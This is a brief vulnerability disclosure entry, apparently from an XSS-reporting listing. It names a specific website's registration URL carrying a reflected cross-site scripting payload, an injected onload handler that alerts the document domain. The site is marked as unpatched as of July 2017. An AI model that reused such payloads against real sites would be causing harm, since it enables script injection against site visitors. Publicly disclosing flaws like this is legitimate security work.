blackfling.com XSS vulnerability

Vulnerable URL: http://www.blackfling.com/public/register?prg=1=%22%20onload%3D%22alertdocument.domain%22=email=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 561595 VIP website...